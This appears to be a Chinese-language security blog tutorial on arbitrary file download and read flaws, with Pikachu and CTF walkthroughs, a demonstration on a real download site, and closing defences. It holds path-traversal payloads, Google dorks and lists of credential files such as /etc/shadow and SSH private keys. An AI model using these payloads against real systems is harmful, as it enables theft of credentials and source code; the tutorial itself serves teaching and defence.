WEB漏洞—文件操作之文件下载读取全解

WEB漏洞—文件操作之文件下载读取全解

Snipaste_2022-05-16_10-09-07

原理

产生:任意语言代码下载函数
文件下载(一些网站由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意敏感文件,这就是文件查看与下载漏洞。)

文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后 会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。 如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。此时如果 攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来。 从而导致后台敏感信息(密码文件、源代码等)被下载。
所以,在设计文件下载功能时,如果下载的目标文件是由前端传进来的,则一定要对传进来的文件进行安全考虑。

漏洞危害
下载服务器任意文件,如脚本代码、服务及系统配置文件等
可用得到的代码进一步代码审计,得到更多可利用漏洞

利用方式
浅谈任意文件下载漏洞的利用
信息收集信息→猜路径→下载配置文件/代码文件→利用服务器软件漏洞→shell→提权

漏洞分析

WEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。

WEB-INF主要包含一下文件或目录:

  • /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
  • /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
  • /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
  • /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
  • /WEB-INF/database.properties:数据库配置文件

漏洞成因

通常一些web应用我们会使用多个web服务器搭配使用,解决其中的一个web服务器的性能缺陷以及做均衡负载的优点和完成一些分层结构的安全策略等。在使用这种架构的时候,由于对静态资源的目录或文件的映射配置不当,可能会引发一些的安全问题,导致web.xml等文件能够被读取。

漏洞检测以及利用方法

通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码。

一般情况,jsp引擎默认都是禁止访问WEB-INF目录的,Nginx 配合Tomcat做均衡负载或集群等情况时,问题原因其实很简单,Nginx不会去考虑配置其他类型引擎(Nginx不是jsp引擎)导致的安全问题而引入到自身的安全规范中来(这样耦合性太高了),修改Nginx配置文件禁止访问WEB-INF目录就好了: location ~ ^/WEB-INF/* { deny all; } 或者return 404; 或者其他!

点help 下载不出来 换post方法 下出来了 这docx也是骗人的

java.io.FileNotFoundException:{help.docx}

看到了这个提示 java写的服务器 java文件任意下载

大概率是源码泄露的问题

1
2
3
4
5
文件被解析,则是文件包含漏洞

显示源代码,则是文件读取漏洞

提示文件下载,则是文件下载漏洞

下载或文件读取漏洞:对应文件:配置文件(数据库,平台,各种等)

pikachu

1
2
3
4
http://192.168.88.154/pikachu-master/vul/unsafedownload/download/bigben.png
http://192.168.88.154/pikachu-master/vul/unsafedownload/execdownload.php?filename=../execdownload.php

观察上面两个地址,可以发现有一个execdownload.php,那么如果想要下载这个文件,而这个文件通过url地址可以知道是在当前目录的上一级,所以想要下载这个文件就需要进行目录穿越../返回上一级,加上文件名就可以下载这个文件

Snipaste_2022-05-16_10-22-55

上图是下载之后的文件的源码,通过源码可以分析到在第6行代码中有一个inc/function.php,尝试下载这个文件,猜测这个文件是在根目录(pikachu-master)下

1
http://192.168.88.154/pikachu-master/vul/unsafedownload/execdownload.php?filename=../../../inc/function.php

Snipaste_2022-05-16_10-29-36

下载成功

通过扫描工具,搜索敏感文件

1
http://192.168.88.154/pikachu-master/vul/unsafedownload/execdownload.php?filename=../../../inc/config.inc.php

Snipaste_2022-05-16_10-40-58

root默认是不能外联的

如果URL中有下图信息,则有可能有文件下载漏洞

Snipaste_2022-05-16_10-54-54

智能电视网案例演示

随便找一个下载链接,然后复制下载链接,如下

1
http://down.znds.com/getdownurl/?s=L3VwZGF0ZS8yMDIyLTA0LTI5L2RhbmdiZWltYXJrZXRfNC4zLjdfMjgzX3puZHMuYXBr

使用base64解密

Snipaste_2022-05-16_11-04-48

Snipaste_2022-05-16_11-10-11

这里需要理解的是,如果想要下载一个敏感文件,那么就需要把路径相应的进行加密

BUUCTF题讲解

参考文章:https://blog.csdn.net/mochu7777777/article/details/109572179

Snipaste_2022-05-16_13-37-31

有一个help,打开,发现报错,用post的方式进行打开,下载一个文件

Snipaste_2022-05-16_13-37-02

Snipaste_2022-05-16_13-37-08

查看是否存在WEB-INF/web.xml泄露

1
filename=WEB-INF/web.xml

Snipaste_2022-05-16_13-53-08

WEB-INF/classes/这个路径是做java项目的常用路径,相当于打开软件创建java项目的时候默认都是保存在这个位置的,而后面这个com就是建java包常用,一般都是:com.xxx.xxx

1
filename=WEB-INF/classes/com/wm/ctf/FlagController.class

Snipaste_2022-05-16_13-53-47

然后base64解密

Snipaste_2022-05-16_13-54-09

i春秋—靶机

Snipaste_2022-05-16_14-00-48

Snipaste_2022-05-16_14-01-20

将这里的login改为1,发现一个新页面

Snipaste_2022-05-16_14-01-52

在抓取manage的数据包。

Snipaste_2022-05-16_14-02-58

再次出现这个login=0,将其修改为1,不要直接关闭开关,放出一个包,得到一个新的数据包,再次将login改为1

Snipaste_2022-05-16_14-04-07

小米路由器—文件读取漏洞

链接:https://github.com/UltramanGaia/Xiaomi_Mi_WiFi_R3G_Vulnerability_POC/blob/master/report/report.md

Snipaste_2022-05-16_14-54-12

确实可以下到,后续利用有的看不懂了。。。

系统文件

window

1
2
3
4
5
6
7
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase. xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user. MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息

Linux

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
.bash_history # 历史中可能带着用户的密码 ( 遇到过现实案例,是输错的情况下参数的,比如没 输入 su 却以为自己输了 su)
/etc/passwd # 用户情况
/etc/shadow # 直接 John the Ripper
/etc/hosts # 主机信息,通常配置了一些内网 域名
/root/.bash_history //root的bash历史记录
/root/.ssh/authorized_keys /root/.mysql_history //mysql的bash历史记录
/root/.wget-hsts /opt/nginx/conf/nginx.conf //nginx的配置文件
/var/www/html/index.html /etc/my.cnf /etc/httpd/conf/httpd.conf //httpd的配置文件
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts /porc/config.gz /proc/sched_debug // 提供cpu上正在运行的进程信息,可以获得进程的pid号,可以配合后面需要pid的利用
/proc/mounts // 挂载的文件系统列表
/proc/net/arp //arp表,可以获得内网其他机器的地址
/proc/net/route //路由表信息
/proc/net/tcp and /proc/net/udp // 活动连接的信息
/proc/net/fib_trie // 路由缓存
/proc/version // 内核版本
/proc/[PID]/cmdline // 可能包含有用的路径信息
/proc/[PID]/environ // 程序运行的环境变量信息,可以用来包含getshell
/proc/[PID]/cwd // 当前进程的工作目录
/proc/[PID]/fd/[#] // 访问file descriptors, 某写情况可以读取到进程正在使用的文件,比如 access.log /root/.ssh/id_rsa /root/.ssh/id_rsa.pub /root/.ssh/authorized_keys /etc/ssh/sshd_config /var/log/secure /etc/sysconfig/network-scripts/ifcfg-eth0 /etc/syscomfig/network-scripts/ifcfg-eth1
/usr/local/tomcat/conf/tomcat-users. xml # tomcat 用户配置文件
/root/.bashrc # 环境变量
/root/.bash_history # 还有root外的其他用户
/root/.viminfo # vim 信息
/root/.ssh/id_rsa # 拿私钥直接ssh
/proc/xxxx/cmdline # 进程状态枚举 xxxx 可以为0000-9999 使用burpsuite 数据库 config 文件 web 日志 access.log, error.log /var/lib/php/sess_PHPSESSID # 非常规问题 session 文件
/proc/net/arp /proc/net/tcp /proc/net/udp /proc/net/dev

常见脚本敏感文件参考

1
2
3
4
5
PHP: inc/config. php获得数据库连接字符串中的口令信息
asp: inc/conn.asp文件,获得数据库连接字符串,得到数据库口令。
aspx: web.config网站根目录文件,获得数据库连接信息。
JSP: conf/ tomcat-user.xml文件,获得tomcat管理界面的口令信息
WEB- INF /Web. xml文件,获得数据库连接字符串中的口令信息。

任意文件读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$filename = "test.txt";
readfile($filename);
?>

<?php
$filename = "test.txt";
$fp = fopen($filename,"r") or die("Unable to open file!");
$data = fread($fp,filesize($filename));
fclose($fp);
echo $data;
?>

<?php
$filename = "test.txt";
echo file_get_contents($filename);
?>

任意文件下载

1
直接下载:<a href="http://www.xx.com/a.zip">Download</a>

用header()下载:

1
2
3
4
5
6
<?php
$filename = "uploads/201607141437284653.jpg";
header('Content-Type: imgage/jpeg');
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Lengh: '.filesize($filename));
?>
1
2
3
4
5
inurl:"readfile.php?file="
inurl:"read.php?filename="
inurl:"download.php?file="
inurl:"down.php?file="
等等...

漏洞利用代码

1
2
3
readfile.php?file=/etc/passwd
readfile.php?file=../../../../../../../../etc/passwd
readfile.php?file=../../../../../../../../etc/passwd%00

漏洞挖掘

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
可以用Google hacking或Web漏洞扫描器
从链接上看,形如:
• readfile.php?file=***.txt
• download.php?file=***.rar
从参数名看,形如:
• &RealPath=
• &FilePath=
• &filepath=
• &Path=
• &path=
• &inputFile=
• &url=
• &urls=
• &Lang=
• &dis=
• &data=
• &readfile=
• &filep=
• &src=
• &menu=
• META-INF
• WEB-INF
目录符号等
../ ..\ .\ ./等
%00 ? %23 %20 .等

漏洞验证

1
2
3
4
5
• index.php?f=../../../../../../etc/passwd 
• index.php?f=../index.php
• index.php?f=file:///etc/passwd
注:当参数f的参数值为php文件时,若是文件被解析则是文件包含漏洞,
若显示源码或提示下载则是文件查看与下载漏洞

漏洞防范
任意文件下载漏洞的简单防护措施

1
2
3
4
1、过滤“.”符号,使用户在url中无法回溯到上级目录。
2、使用正则表达式严格判断用户输入参数的格式。
3、php.ini配置文件中对于open_basedir进行配置,限定用户的文件访问范围。
4、固定目录

涉及资源:

1
2
3
4
5
6
https://www.seebug.org/vuldb/ssvid-98122
https://www.ichunqiu.com/battalion?t=1&r=57475
https://blog.csdn.net/Cheng_May/article/details/78600833
https://buuoj.cn/challenges#%5BRoarCTF%202019%5DEasy%20Java
https://blog.csdn.net/kostart123/article/details/81223189
https://www.znds.com/